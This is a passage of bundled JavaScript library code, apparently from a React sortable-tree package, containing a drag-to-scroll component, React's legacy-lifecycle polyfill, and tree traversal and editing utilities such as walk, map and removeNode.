        _this.scaleX = horizontalStrength(box, coords);
        _this.scaleY = verticalStrength(box, coords); // start scrolling if we need to

        if (!_this.frame && (_this.scaleX || _this.scaleY)) {
          _this.startScrolling();
        }
      }, 100, {
        trailing: false
      }));

      _defineProperty(_assertThisInitialized(_assertThisInitialized(_this)), "handleEvent", function (evt) {
        if (_this.dragging && !_this.attached) {
          _this.attach();

          _this.updateScrolling(evt);
        }
      });

      _this.wrappedInstance = _react.default.createRef();
      _this.scaleX = 0;
      _this.scaleY = 0;
      _this.frame = null;
      _this.attached = false;
      _this.dragging = false;
      return _this;
    }

    _createClass(ScrollingComponent, [{
      key: "componentDidMount",
      value: function componentDidMount() {
        var _this2 = this;

        this.container = this.wrappedInstance.current;

        if (this.container && typeof this.container.addEventListener === 'function') {
          this.container.addEventListener('dragover', this.handleEvent);
        } // touchmove events don't seem to work across siblings, so we unfortunately
        // have to attach the listeners to the body


        window.document.body.addEventListener('touchmove', this.handleEvent);
        var dragDropManager = this.props.dragDropManager;
        this.clearMonitorSubscription = dragDropManager.getMonitor().subscribeToStateChange(function () {
          return _this2.handleMonitorChange();
        });
      }
    }, {
      key: "componentWillUnmount",
      value: function componentWillUnmount() {
        if (this.container && typeof this.container.removeEventListener === 'function') {
          this.container.removeEventListener('dragover', this.handleEvent);
        }

        window.document.body.removeEventListener('touchmove', this.handleEvent);
        this.clearMonitorSubscription();
        this.stopScrolling();
      }
    }, {
      key: "handleMonitorChange",
      value: function handleMonitorChange() {
        var dragDropManager = this.props.dragDropManager;
        var isDragging = dragDropManager.getMonitor().isDragging();

        if (!this.dragging && isDragging) {
          this.dragging = true;
        } else if (this.dragging && !isDragging) {
          this.dragging = false;
          this.stopScrolling();
        }
      }
    }, {
      key: "attach",
      value: function attach() {
        this.attached = true;
        window.document.body.addEventListener('dragover', this.updateScrolling);
        window.document.body.addEventListener('touchmove', this.updateScrolling);
      }
    }, {
      key: "detach",
      value: function detach() {
        this.attached = false;
        window.document.body.removeEventListener('dragover', this.updateScrolling);
        window.document.body.removeEventListener('touchmove', this.updateScrolling);
      }
    }, {
      key: "startScrolling",
      value: function startScrolling() {
        var _this3 = this;

        var i = 0;

        var tick = function tick() {
          var scaleX = _this3.scaleX,
              scaleY = _this3.scaleY,
              container = _this3.container;
          var _this3$props = _this3.props,
              strengthMultiplier = _this3$props.strengthMultiplier,
              onScrollChange = _this3$props.onScrollChange; // stop scrolling if there's nothing to do

          if (strengthMultiplier === 0 || scaleX + scaleY === 0) {
            _this3.stopScrolling();

            return;
          } // there's a bug in safari where it seems like we can't get
          // mousemove events from a container that also emits a scroll
          // event that same frame. So we double the strengthMultiplier and only adjust
          // the scroll position at 30fps


          i += 1;

          if (i % 2) {
            var scrollLeft = container.scrollLeft,
                scrollTop = container.scrollTop,
                scrollWidth = container.scrollWidth,
                scrollHeight = container.scrollHeight,
                clientWidth = container.clientWidth,
                clientHeight = container.clientHeight;
            var newLeft = scaleX ? container.scrollLeft = (0, util.intBetween)(0, scrollWidth - clientWidth, scrollLeft + scaleX * strengthMultiplier) : scrollLeft;
            var newTop = scaleY ? container.scrollTop = (0, util.intBetween)(0, scrollHeight - clientHeight, scrollTop + scaleY * strengthMultiplier) : scrollTop;
            onScrollChange(newLeft, newTop);
          }

          _this3.frame = (0, _raf.default)(tick);
        };

        tick();
      }
    }, {
      key: "stopScrolling",
      value: function stopScrolling() {
        this.detach();
        this.scaleX = 0;
        this.scaleY = 0;

        if (this.frame) {
          _raf.default.cancel(this.frame);

          this.frame = null;
        }
      }
    }, {
      key: "render",
      value: function render() {
        var _this$props2 = this.props,
            strengthMultiplier = _this$props2.strengthMultiplier,
            verticalStrength = _this$props2.verticalStrength,
            horizontalStrength = _this$props2.horizontalStrength,
            onScrollChange = _this$props2.onScrollChange,
            props = _objectWithoutProperties(_this$props2, ["strengthMultiplier", "verticalStrength", "horizontalStrength", "onScrollChange"]);

        return _react.default.createElement(WrappedComponent, _extends({
          ref: this.wrappedInstance
        }, props));
      }
    }]);

    return ScrollingComponent;
  }(_react.Component);

  _defineProperty(ScrollingComponent, "displayName", "Scrolling(".concat((0, _reactDisplayName.default)(WrappedComponent), ")"));

  _defineProperty(ScrollingComponent, "propTypes", {
    // eslint-disable-next-line react/forbid-prop-types
    dragDropManager: _propTypes.default.object.isRequired,
    onScrollChange: _propTypes.default.func,
    verticalStrength: _propTypes.default.func,
    horizontalStrength: _propTypes.default.func,
    strengthMultiplier: _propTypes.default.number
  });

  _defineProperty(ScrollingComponent, "defaultProps", {
    onScrollChange: util.noop,
    verticalStrength: defaultVerticalStrength,
    horizontalStrength: defaultHorizontalStrength,
    strengthMultiplier: 30
  });

  return (0, _hoistNonReactStatics.default)(ScrollingComponent, WrappedComponent);
}

function createScrollingComponentWithConsumer(WrappedComponent) {
  var ScrollingComponent = createScrollingComponent(WrappedComponent);
  return function (props) {
    return _react.default.createElement(reactDnd.DragDropContextConsumer, null, function (_ref3) {
      var dragDropManager = _ref3.dragDropManager;
      return dragDropManager === undefined ? null : _react.default.createElement(ScrollingComponent, _extends({}, props, {
        dragDropManager: dragDropManager
      }));
    });
  };
}
});

var withScrolling = unwrapExports(lib);
var lib_1 = lib.createHorizontalStrength;
var lib_2 = lib.createVerticalStrength;
var lib_3 = lib.createScrollingComponent;
var lib_4 = lib.defaultVerticalStrength;
var lib_5 = lib.defaultHorizontalStrength;

/**
 * Copyright (c) 2013-present, Facebook, Inc.
 *
 * This source code is licensed under the MIT license found in the
 * LICENSE file in the root directory of this source tree.
 */

function componentWillMount() {
  // Call this.constructor.gDSFP to support sub-classes.
  var state = this.constructor.getDerivedStateFromProps(this.props, this.state);
  if (state !== null && state !== undefined) {
    this.setState(state);
  }
}

function componentWillReceiveProps(nextProps) {
  // Call this.constructor.gDSFP to support sub-classes.
  // Use the setState() updater to ensure state isn't stale in certain edge cases.
  function updater(prevState) {
    var state = this.constructor.getDerivedStateFromProps(nextProps, prevState);
    return state !== null && state !== undefined ? state : null;
  }
  // Binding "this" is important for shallow renderer support.
  this.setState(updater.bind(this));
}

function componentWillUpdate(nextProps, nextState) {
  try {
    var prevProps = this.props;
    var prevState = this.state;
    this.props = nextProps;
    this.state = nextState;
    this.__reactInternalSnapshotFlag = true;
    this.__reactInternalSnapshot = this.getSnapshotBeforeUpdate(
      prevProps,
      prevState
    );
  } finally {
    this.props = prevProps;
    this.state = prevState;
  }
}

// React may warn about cWM/cWRP/cWU methods being deprecated.
// Add a flag to suppress these warnings for this special case.
componentWillMount.__suppressDeprecationWarning = true;
componentWillReceiveProps.__suppressDeprecationWarning = true;
componentWillUpdate.__suppressDeprecationWarning = true;

function polyfill$1(Component) {
  var prototype = Component.prototype;

  if (!prototype || !prototype.isReactComponent) {
    throw new Error('Can only polyfill class components');
  }

  if (
    typeof Component.getDerivedStateFromProps !== 'function' &&
    typeof prototype.getSnapshotBeforeUpdate !== 'function'
  ) {
    return Component;
  }

  // If new component APIs are defined, "unsafe" lifecycles won't be called.
  // Error if any of these lifecycles are present,
  // Because they would work differently between older and newer (16.3+) versions of React.
  var foundWillMountName = null;
  var foundWillReceivePropsName = null;
  var foundWillUpdateName = null;
  if (typeof prototype.componentWillMount === 'function') {
    foundWillMountName = 'componentWillMount';
  } else if (typeof prototype.UNSAFE_componentWillMount === 'function') {
    foundWillMountName = 'UNSAFE_componentWillMount';
  }
  if (typeof prototype.componentWillReceiveProps === 'function') {
    foundWillReceivePropsName = 'componentWillReceiveProps';
  } else if (typeof prototype.UNSAFE_componentWillReceiveProps === 'function') {
    foundWillReceivePropsName = 'UNSAFE_componentWillReceiveProps';
  }
  if (typeof prototype.componentWillUpdate === 'function') {
    foundWillUpdateName = 'componentWillUpdate';
  } else if (typeof prototype.UNSAFE_componentWillUpdate === 'function') {
    foundWillUpdateName = 'UNSAFE_componentWillUpdate';
  }
  if (
    foundWillMountName !== null ||
    foundWillReceivePropsName !== null ||
    foundWillUpdateName !== null
  ) {
    var componentName = Component.displayName || Component.name;
    var newApiName =
      typeof Component.getDerivedStateFromProps === 'function'
        ? 'getDerivedStateFromProps()'
        : 'getSnapshotBeforeUpdate()';

    throw Error(
      'Unsafe legacy lifecycles will not be called for components using new component APIs.\n\n' +
        componentName +
        ' uses ' +
        newApiName +
        ' but also contains the following legacy lifecycles:' +
        (foundWillMountName !== null ? '\n  ' + foundWillMountName : '') +
        (foundWillReceivePropsName !== null
          ? '\n  ' + foundWillReceivePropsName
          : '') +
        (foundWillUpdateName !== null ? '\n  ' + foundWillUpdateName : '') +
        '\n\nThe above lifecycles should be removed. Learn more about this warning here:\n' +
        'https://fb.me/react-async-component-lifecycle-hooks'
    );
  }

  // React <= 16.2 does not support static getDerivedStateFromProps.
  // As a workaround, use cWM and cWRP to invoke the new static lifecycle.
  // Newer versions of React will ignore these lifecycles if gDSFP exists.
  if (typeof Component.getDerivedStateFromProps === 'function') {
    prototype.componentWillMount = componentWillMount;
    prototype.componentWillReceiveProps = componentWillReceiveProps;
  }

  // React <= 16.2 does not support getSnapshotBeforeUpdate.
  // As a workaround, use cWU to invoke the new lifecycle.
  // Newer versions of React will ignore that lifecycle if gSBU exists.
  if (typeof prototype.getSnapshotBeforeUpdate === 'function') {
    if (typeof prototype.componentDidUpdate !== 'function') {
      throw new Error(
        'Cannot polyfill getSnapshotBeforeUpdate() for components that do not define componentDidUpdate() on the prototype'
      );
    }

    prototype.componentWillUpdate = componentWillUpdate;

    var componentDidUpdate = prototype.componentDidUpdate;

    prototype.componentDidUpdate = function componentDidUpdatePolyfill(
      prevProps,
      prevState,
      maybeSnapshot
    ) {
      // 16.3+ will not execute our will-update method;
      // It will pass a snapshot value to did-update though.
      // Older versions will require our polyfilled will-update value.
      // We need to handle both cases, but can't just check for the presence of "maybeSnapshot",
      // Because for <= 15.x versions this might be a "prevContext" object.
      // We also can't just check "__reactInternalSnapshot",
      // Because get-snapshot might return a falsy value.
      // So check for the explicit __reactInternalSnapshotFlag flag to determine behavior.
      var snapshot = this.__reactInternalSnapshotFlag
        ? this.__reactInternalSnapshot
        : maybeSnapshot;

      componentDidUpdate.call(this, prevProps, prevState, snapshot);
    };
  }

  return Component;
}

/**
 * Performs a depth-first traversal over all of the node descendants,
 * incrementing currentIndex by 1 for each
 */
function getNodeDataAtTreeIndexOrNextIndex(_ref) {
  var targetIndex = _ref.targetIndex,
      node = _ref.node,
      currentIndex = _ref.currentIndex,
      getNodeKey = _ref.getNodeKey,
      _ref$path = _ref.path,
      path = _ref$path === void 0 ? [] : _ref$path,
      _ref$lowerSiblingCoun = _ref.lowerSiblingCounts,
      lowerSiblingCounts = _ref$lowerSiblingCoun === void 0 ? [] : _ref$lowerSiblingCoun,
      _ref$ignoreCollapsed = _ref.ignoreCollapsed,
      ignoreCollapsed = _ref$ignoreCollapsed === void 0 ? true : _ref$ignoreCollapsed,
      _ref$isPseudoRoot = _ref.isPseudoRoot,
      isPseudoRoot = _ref$isPseudoRoot === void 0 ? false : _ref$isPseudoRoot;
  // The pseudo-root is not considered in the path
  var selfPath = !isPseudoRoot ? [].concat(_toConsumableArray(path), [getNodeKey({
    node: node,
    treeIndex: currentIndex
  })]) : []; // Return target node when found

  if (currentIndex === targetIndex) {
    return {
      node: node,
      lowerSiblingCounts: lowerSiblingCounts,
      path: selfPath
    };
  } // Add one and continue for nodes with no children or hidden children


  if (!node.children || ignoreCollapsed && node.expanded !== true) {
    return {
      nextIndex: currentIndex + 1
    };
  } // Iterate over each child and their descendants and return the
  // target node if childIndex reaches the targetIndex


  var childIndex = currentIndex + 1;
  var childCount = node.children.length;

  for (var i = 0; i < childCount; i += 1) {
    var result = getNodeDataAtTreeIndexOrNextIndex({
      ignoreCollapsed: ignoreCollapsed,
      getNodeKey: getNodeKey,
      targetIndex: targetIndex,
      node: node.children[i],
      currentIndex: childIndex,
      lowerSiblingCounts: [].concat(_toConsumableArray(lowerSiblingCounts), [childCount - i - 1]),
      path: selfPath
    });

    if (result.node) {
      return result;
    }

    childIndex = result.nextIndex;
  } // If the target node is not found, return the farthest traversed index


  return {
    nextIndex: childIndex
  };
}

function getDescendantCount(_ref2) {
  var node = _ref2.node,
      _ref2$ignoreCollapsed = _ref2.ignoreCollapsed,
      ignoreCollapsed = _ref2$ignoreCollapsed === void 0 ? true : _ref2$ignoreCollapsed;
  return getNodeDataAtTreeIndexOrNextIndex({
    getNodeKey: function getNodeKey() {},
    ignoreCollapsed: ignoreCollapsed,
    node: node,
    currentIndex: 0,
    targetIndex: -1
  }).nextIndex - 1;
}
/**
 * Walk all descendants of the given node, depth-first
 *
 * @param {Object} args - Function parameters
 * @param {function} args.callback - Function to call on each node
 * @param {function} args.getNodeKey - Function to get the key from the nodeData and tree index
 * @param {boolean} args.ignoreCollapsed - Ignore children of nodes without `expanded` set to `true`
 * @param {boolean=} args.isPseudoRoot - If true, this node has no real data, and only serves
 *                                        as the parent of all the nodes in the tree
 * @param {Object} args.node - A tree node
 * @param {Object=} args.parentNode - The parent node of `node`
 * @param {number} args.currentIndex - The treeIndex of `node`
 * @param {number[]|string[]} args.path - Array of keys leading up to node to be changed
 * @param {number[]} args.lowerSiblingCounts - An array containing the count of siblings beneath the
 *                                             previous nodes in this path
 *
 * @return {number|false} nextIndex - Index of the next sibling of `node`,
 *                                    or false if the walk should be terminated
 */

function walkDescendants(_ref3) {
  var callback = _ref3.callback,
      getNodeKey = _ref3.getNodeKey,
      ignoreCollapsed = _ref3.ignoreCollapsed,
      _ref3$isPseudoRoot = _ref3.isPseudoRoot,
      isPseudoRoot = _ref3$isPseudoRoot === void 0 ? false : _ref3$isPseudoRoot,
      node = _ref3.node,
      _ref3$parentNode = _ref3.parentNode,
      parentNode = _ref3$parentNode === void 0 ? null : _ref3$parentNode,
      currentIndex = _ref3.currentIndex,
      _ref3$path = _ref3.path,
      path = _ref3$path === void 0 ? [] : _ref3$path,
      _ref3$lowerSiblingCou = _ref3.lowerSiblingCounts,
      lowerSiblingCounts = _ref3$lowerSiblingCou === void 0 ? [] : _ref3$lowerSiblingCou;
  // The pseudo-root is not considered in the path
  var selfPath = isPseudoRoot ? [] : [].concat(_toConsumableArray(path), [getNodeKey({
    node: node,
    treeIndex: currentIndex
  })]);
  var selfInfo = isPseudoRoot ? null : {
    node: node,
    parentNode: parentNode,
    path: selfPath,
    lowerSiblingCounts: lowerSiblingCounts,
    treeIndex: currentIndex
  };

  if (!isPseudoRoot) {
    var callbackResult = callback(selfInfo); // Cut walk short if the callback returned false

    if (callbackResult === false) {
      return false;
    }
  } // Return self on nodes with no children or hidden children


  if (!node.children || node.expanded !== true && ignoreCollapsed && !isPseudoRoot) {
    return currentIndex;
  } // Get all descendants


  var childIndex = currentIndex;
  var childCount = node.children.length;

  if (typeof node.children !== 'function') {
    for (var i = 0; i < childCount; i += 1) {
      childIndex = walkDescendants({
        callback: callback,
        getNodeKey: getNodeKey,
        ignoreCollapsed: ignoreCollapsed,
        node: node.children[i],
        parentNode: isPseudoRoot ? null : node,
        currentIndex: childIndex + 1,
        lowerSiblingCounts: [].concat(_toConsumableArray(lowerSiblingCounts), [childCount - i - 1]),
        path: selfPath
      }); // Cut walk short if the callback returned false

      if (childIndex === false) {
        return false;
      }
    }
  }

  return childIndex;
}
/**
 * Perform a change on the given node and all its descendants, traversing the tree depth-first
 *
 * @param {Object} args - Function parameters
 * @param {function} args.callback - Function to call on each node
 * @param {function} args.getNodeKey - Function to get the key from the nodeData and tree index
 * @param {boolean} args.ignoreCollapsed - Ignore children of nodes without `expanded` set to `true`
 * @param {boolean=} args.isPseudoRoot - If true, this node has no real data, and only serves
 *                                        as the parent of all the nodes in the tree
 * @param {Object} args.node - A tree node
 * @param {Object=} args.parentNode - The parent node of `node`
 * @param {number} args.currentIndex - The treeIndex of `node`
 * @param {number[]|string[]} args.path - Array of keys leading up to node to be changed
 * @param {number[]} args.lowerSiblingCounts - An array containing the count of siblings beneath the
 *                                             previous nodes in this path
 *
 * @return {number|false} nextIndex - Index of the next sibling of `node`,
 *                                    or false if the walk should be terminated
 */


function mapDescendants(_ref4) {
  var callback = _ref4.callback,
      getNodeKey = _ref4.getNodeKey,
      ignoreCollapsed = _ref4.ignoreCollapsed,
      _ref4$isPseudoRoot = _ref4.isPseudoRoot,
      isPseudoRoot = _ref4$isPseudoRoot === void 0 ? false : _ref4$isPseudoRoot,
      node = _ref4.node,
      _ref4$parentNode = _ref4.parentNode,
      parentNode = _ref4$parentNode === void 0 ? null : _ref4$parentNode,
      currentIndex = _ref4.currentIndex,
      _ref4$path = _ref4.path,
      path = _ref4$path === void 0 ? [] : _ref4$path,
      _ref4$lowerSiblingCou = _ref4.lowerSiblingCounts,
      lowerSiblingCounts = _ref4$lowerSiblingCou === void 0 ? [] : _ref4$lowerSiblingCou;

  var nextNode = _objectSpread2({}, node); // The pseudo-root is not considered in the path


  var selfPath = isPseudoRoot ? [] : [].concat(_toConsumableArray(path), [getNodeKey({
    node: nextNode,
    treeIndex: currentIndex
  })]);
  var selfInfo = {
    node: nextNode,
    parentNode: parentNode,
    path: selfPath,
    lowerSiblingCounts: lowerSiblingCounts,
    treeIndex: currentIndex
  }; // Return self on nodes with no children or hidden children

  if (!nextNode.children || nextNode.expanded !== true && ignoreCollapsed && !isPseudoRoot) {
    return {
      treeIndex: currentIndex,
      node: callback(selfInfo)
    };
  } // Get all descendants


  var childIndex = currentIndex;
  var childCount = nextNode.children.length;

  if (typeof nextNode.children !== 'function') {
    nextNode.children = nextNode.children.map(function (child, i) {
      var mapResult = mapDescendants({
        callback: callback,
        getNodeKey: getNodeKey,
        ignoreCollapsed: ignoreCollapsed,
        node: child,
        parentNode: isPseudoRoot ? null : nextNode,
        currentIndex: childIndex + 1,
        lowerSiblingCounts: [].concat(_toConsumableArray(lowerSiblingCounts), [childCount - i - 1]),
        path: selfPath
      });
      childIndex = mapResult.treeIndex;
      return mapResult.node;
    });
  }

  return {
    node: callback(selfInfo),
    treeIndex: childIndex
  };
}
/**
 * Count all the visible (expanded) descendants in the tree data.
 *
 * @param {!Object[]} treeData - Tree data
 *
 * @return {number} count
 */


function getVisibleNodeCount(_ref5) {
  var treeData = _ref5.treeData;

  var traverse = function traverse(node) {
    if (!node.children || node.expanded !== true || typeof node.children === 'function') {
      return 1;
    }

    return 1 + node.children.reduce(function (total, currentNode) {
      return total + traverse(currentNode);
    }, 0);
  };

  return treeData.reduce(function (total, currentNode) {
    return total + traverse(currentNode);
  }, 0);
}
/**
 * Get the <targetIndex>th visible node in the tree data.
 *
 * @param {!Object[]} treeData - Tree data
 * @param {!number} targetIndex - The index of the node to search for
 * @param {!function} getNodeKey - Function to get the key from the nodeData and tree index
 *
 * @return {{
 *      node: Object,
 *      path: []string|[]number,
 *      lowerSiblingCounts: []number
 *  }|null} node - The node at targetIndex, or null if not found
 */

function getVisibleNodeInfoAtIndex(_ref6) {
  var treeData = _ref6.treeData,
      targetIndex = _ref6.index,
      getNodeKey = _ref6.getNodeKey;

  if (!treeData || treeData.length < 1) {
    return null;
  } // Call the tree traversal with a pseudo-root node


  var result = getNodeDataAtTreeIndexOrNextIndex({
    targetIndex: targetIndex,
    getNodeKey: getNodeKey,
    node: {
      children: treeData,
      expanded: true
    },
    currentIndex: -1,
    path: [],
    lowerSiblingCounts: [],
    isPseudoRoot: true
  });

  if (result.node) {
    return result;
  }

  return null;
}
/**
 * Walk descendants depth-first and call a callback on each
 *
 * @param {!Object[]} treeData - Tree data
 * @param {!function} getNodeKey - Function to get the key from the nodeData and tree index
 * @param {function} callback - Function to call on each node
 * @param {boolean=} ignoreCollapsed - Ignore children of nodes without `expanded` set to `true`
 *
 * @return void
 */

function walk(_ref7) {
  var treeData = _ref7.treeData,
      getNodeKey = _ref7.getNodeKey,
      callback = _ref7.callback,
      _ref7$ignoreCollapsed = _ref7.ignoreCollapsed,
      ignoreCollapsed = _ref7$ignoreCollapsed === void 0 ? true : _ref7$ignoreCollapsed;

  if (!treeData || treeData.length < 1) {
    return;
  }

  walkDescendants({
    callback: callback,
    getNodeKey: getNodeKey,
    ignoreCollapsed: ignoreCollapsed,
    isPseudoRoot: true,
    node: {
      children: treeData
    },
    currentIndex: -1,
    path: [],
    lowerSiblingCounts: []
  });
}
/**
 * Perform a depth-first transversal of the descendants and
 *  make a change to every node in the tree
 *
 * @param {!Object[]} treeData - Tree data
 * @param {!function} getNodeKey - Function to get the key from the nodeData and tree index
 * @param {function} callback - Function to call on each node
 * @param {boolean=} ignoreCollapsed - Ignore children of nodes without `expanded` set to `true`
 *
 * @return {Object[]} changedTreeData - The changed tree data
 */

function map(_ref8) {
  var treeData = _ref8.treeData,
      getNodeKey = _ref8.getNodeKey,
      callback = _ref8.callback,
      _ref8$ignoreCollapsed = _ref8.ignoreCollapsed,
      ignoreCollapsed = _ref8$ignoreCollapsed === void 0 ? true : _ref8$ignoreCollapsed;

  if (!treeData || treeData.length < 1) {
    return [];
  }

  return mapDescendants({
    callback: callback,
    getNodeKey: getNodeKey,
    ignoreCollapsed: ignoreCollapsed,
    isPseudoRoot: true,
    node: {
      children: treeData
    },
    currentIndex: -1,
    path: [],
    lowerSiblingCounts: []
  }).node.children;
}
/**
 * Expand or close every node in the tree
 *
 * @param {!Object[]} treeData - Tree data
 * @param {?boolean} expanded - Whether the node is expanded or not
 *
 * @return {Object[]} changedTreeData - The changed tree data
 */

function toggleExpandedForAll(_ref9) {
  var treeData = _ref9.treeData,
      _ref9$expanded = _ref9.expanded,
      expanded = _ref9$expanded === void 0 ? true : _ref9$expanded;
  return map({
    treeData: treeData,
    callback: function callback(_ref10) {
      var node = _ref10.node;
      return _objectSpread2(_objectSpread2({}, node), {}, {
        expanded: expanded
      });
    },
    getNodeKey: function getNodeKey(_ref11) {
      var treeIndex = _ref11.treeIndex;
      return treeIndex;
    },
    ignoreCollapsed: false
  });
}
/**
 * Replaces node at path with object, or callback-defined object
 *
 * @param {!Object[]} treeData
 * @param {number[]|string[]} path - Array of keys leading up to node to be changed
 * @param {function|any} newNode - Node to replace the node at the path with, or a function producing the new node
 * @param {!function} getNodeKey - Function to get the key from the nodeData and tree index
 * @param {boolean=} ignoreCollapsed - Ignore children of nodes without `expanded` set to `true`
 *
 * @return {Object[]} changedTreeData - The changed tree data
 */

function changeNodeAtPath(_ref12) {
  var treeData = _ref12.treeData,
      path = _ref12.path,
      newNode = _ref12.newNode,
      getNodeKey = _ref12.getNodeKey,
      _ref12$ignoreCollapse = _ref12.ignoreCollapsed,
      ignoreCollapsed = _ref12$ignoreCollapse === void 0 ? true : _ref12$ignoreCollapse;
  var RESULT_MISS = 'RESULT_MISS';

  var traverse = function traverse(_ref13) {
    var _ref13$isPseudoRoot = _ref13.isPseudoRoot,
        isPseudoRoot = _ref13$isPseudoRoot === void 0 ? false : _ref13$isPseudoRoot,
        node = _ref13.node,
        currentTreeIndex = _ref13.currentTreeIndex,
        pathIndex = _ref13.pathIndex;

    if (!isPseudoRoot && getNodeKey({
      node: node,
      treeIndex: currentTreeIndex
    }) !== path[pathIndex]) {
      return RESULT_MISS;
    }

    if (pathIndex >= path.length - 1) {
      // If this is the final location in the path, return its changed form
      return typeof newNode === 'function' ? newNode({
        node: node,
        treeIndex: currentTreeIndex
      }) : newNode;
    }

    if (!node.children) {
      // If this node is part of the path, but has no children, return the unchanged node
      throw new Error('Path referenced children of node with no children.');
    }

    var nextTreeIndex = currentTreeIndex + 1;

    for (var i = 0; i < node.children.length; i += 1) {
      var _result = traverse({
        node: node.children[i],
        currentTreeIndex: nextTreeIndex,
        pathIndex: pathIndex + 1
      }); // If the result went down the correct path


      if (_result !== RESULT_MISS) {
        if (_result) {
          // If the result was truthy (in this case, an object),
          //  pass it to the next level of recursion up
          return _objectSpread2(_objectSpread2({}, node), {}, {
            children: [].concat(_toConsumableArray(node.children.slice(0, i)), [_result], _toConsumableArray(node.children.slice(i + 1)))
          });
        } // If the result was falsy (returned from the newNode function), then
        //  delete the node from the array.


        return _objectSpread2(_objectSpread2({}, node), {}, {
          children: [].concat(_toConsumableArray(node.children.slice(0, i)), _toConsumableArray(node.children.slice(i + 1)))
        });
      }

      nextTreeIndex += 1 + getDescendantCount({
        node: node.children[i],
        ignoreCollapsed: ignoreCollapsed
      });
    }

    return RESULT_MISS;
  }; // Use a pseudo-root node in the beginning traversal


  var result = traverse({
    node: {
      children: treeData
    },
    currentTreeIndex: -1,
    pathIndex: -1,
    isPseudoRoot: true
  });

  if (result === RESULT_MISS) {
    throw new Error('No node found at the given path.');
  }

  return result.children;
}
/**
 * Removes the node at the specified path and returns the resulting treeData.
 *
 * @param {!Object[]} treeData
 * @param {number[]|string[]} path - Array of keys leading up to node to be deleted
 * @param {!function} getNodeKey - Function to get the key from the nodeData and tree index
 * @param {boolean=} ignoreCollapsed - Ignore children of nodes without `expanded` set to `true`
 *
 * @return {Object[]} changedTreeData - The tree data with the node removed
 */

function removeNodeAtPath(_ref14) {
  var treeData = _ref14.treeData,
      path = _ref14.path,
      getNodeKey = _ref14.getNodeKey,
      _ref14$ignoreCollapse = _ref14.ignoreCollapsed,
      ignoreCollapsed = _ref14$ignoreCollapse === void 0 ? true : _ref14$ignoreCollapse;
  return changeNodeAtPath({
    treeData: treeData,
    path: path,
    getNodeKey: getNodeKey,
    ignoreCollapsed: ignoreCollapsed,
    newNode: null // Delete the node

  });
}
/**
 * Removes the node at the specified path and returns the resulting treeData.
 *
 * @param {!Object[]} treeData
 * @param {number[]|string[]} path - Array of keys leading up to node to be deleted
 * @param {!function} getNodeKey - Function to get the key from the nodeData and tree index
 * @param {boolean=} ignoreCollapsed - Ignore children of nodes without `expanded` set to `true`
 *
 * @return {Object} result
 * @return {Object[]} result.treeData - The tree data with the node removed
 * @return {Object} result.node - The node that was removed
 * @return {number} result.treeIndex - The previous treeIndex of the removed node
 */

function removeNode(_ref15) {
  var treeData = _ref15.treeData,
      path = _ref15.path,
      getNodeKey = _ref15.getNodeKey,
      _ref15$ignoreCollapse = _ref15.ignoreCollapsed,
      ignoreCollapsed = _ref15$ignoreCollapse === void 0 ? true : _ref15$ignoreCollapse;
  var removedNode = null;
  var removedTreeIndex = null;
  var nextTreeData = changeNodeAtPath({
    treeData: treeData,
    path: path,
    getNodeKey: getNodeKey,
    ignoreCollapsed: ignoreCollapsed,
    newNode: function newNode(_ref16) {
      var node = _ref16.node,
          treeIndex = _ref16.treeIndex;
      // Store the target node and delete it from the tree
      removedNode = node;
      removedTreeIndex = treeIndex;
      return null;
    }
  });
  return {
    treeData: nextTreeData,
    node: removedNode,
    treeIndex: removedTreeIndex
  };
}
/**
 * Gets the node at the specified path
 *
 * @param {!Object[]} treeData
 * @param {number[]|string[]} path - Array of keys leading up to node to be deleted
 * @param {!function} getNodeKey - Function to get the key from the nodeData and tree index
 * @param {boolean=} ignoreCollapsed - Ignore children of nodes without `expanded` set to `true`
 *
 * @return {Object|null} nodeInfo - The node info at the given path, or null if not found
 */

function getNodeAtPath(_ref17) {
  var treeData = _ref17.treeData,
      path = _ref17.path,
      getNodeKey = _ref17.getNodeKey,
      _ref17$ignoreCollapse = _ref17.ignoreCollapsed,
      ignoreCollapsed = _ref17$ignoreCollapse === void 0 ? true : _ref17$ignoreCollapse;
  var foundNodeInfo = null;

  try {
    changeNodeAtPath({
      treeData: treeData,
      path: path,
      getNodeKey: getNodeKey,
      ignoreCollapsed: ignoreCollapsed,
      newNode: function newNode(_ref18) {
        var node = _ref18.node,
            treeIndex = _ref18.treeIndex;
        foundNodeInfo = {
          node: node,
          treeIndex: treeIndex
        };
        return node;
      }
    });
  } catch (err) {// Ignore the error -- the null return will be explanation enough
  }

  return foundNodeInfo;
}
/**
 * Adds the node to the specified parent and returns the resulting treeData.
 *
 * @param {!Object[]} treeData
 * @param {!Object} newNode - The node to insert
 * @param {number|string} parentKey - The key of the to-be parentNode of the node
 * @param {!function} getNodeKey - Function to get the key from the nodeData and tree index
 * @param {boolean=} ignoreCollapsed - Ignore children of nodes without `expanded` set to `true`
 * @param {boolean=} expandParent - If true, expands the parentNode specified by parentPath
 * @param {boolean=} addAsFirstChild - If true, adds new node as first child of tree
 *
 * @return {Object} result
 * @return {Object[]} result.treeData - The updated tree data
 * @return {number} result.treeIndex - The tree index at which the node was inserted
 */

function addNodeUnderParent(_ref19) {
  var treeData = _ref19.treeData,
      newNode = _ref19.newNode,
      _ref19$parentKey = _ref19.parentKey,
      parentKey = _ref19$parentKey === void 0 ? null : _ref19$parentKey,
      getNodeKey = _ref19.getNodeKey,
      _ref19$ignoreCollapse = _ref19.ignoreCollapsed,
      ignoreCollapsed = _ref19$ignoreCollapse === void 0 ? true : _ref19$ignoreCollapse,
      _ref19$expandParent = _ref19.expandParent,
      expandParent = _ref19$expandParent === void 0 ? false : _ref19$expandParent,
      _ref19$addAsFirstChil = _ref19.addAsFirstChild,
      addAsFirstChild = _ref19$addAsFirstChil === void 0 ? false : _ref19$addAsFirstChil;

  if (parentKey === null) {
    return addAsFirstChild ? {
      treeData: [newNode].concat(_toConsumableArray(treeData || [])),
      treeIndex: 0
    } : {
      treeData: [].concat(_toConsumableArray(treeData || []), [newNode]),
      treeIndex: (treeData || []).length
    };
  }

  var insertedTreeIndex = null;
  var hasBeenAdded = false;
  var changedTreeData = map({
    treeData: treeData,
    getNodeKey: getNodeKey,
    ignoreCollapsed: ignoreCollapsed,
    callback: function callback(_ref20) {
      var node = _ref20.node,
          treeIndex = _ref20.treeIndex,
          path = _ref20.path;
      var key = path ? path[path.length - 1] : null; // Return nodes that are not the parent as-is

      if (hasBeenAdded || key !== parentKey) {
        return node;
      }

      hasBeenAdded = true;

      var parentNode = _objectSpread2({}, node);

      if (expandParent) {
        parentNode.expanded = true;
      } // If no children exist yet, just add the single newNode


